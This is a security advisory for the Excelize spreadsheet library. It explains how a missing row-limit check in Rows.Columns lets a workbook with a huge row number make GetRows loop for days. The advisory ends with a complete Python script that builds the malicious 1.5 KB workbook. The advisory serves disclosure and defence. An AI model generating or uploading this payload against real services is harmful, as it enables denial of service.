Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
    rows.err = ErrMaxRows
    return false
}

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
    rows.curRow = rowNum
}

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

import zipfile
parts = {
    "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
    "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
    "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
    "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
    "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    for name, xml in parts.items():
        z.writestr(name, xml)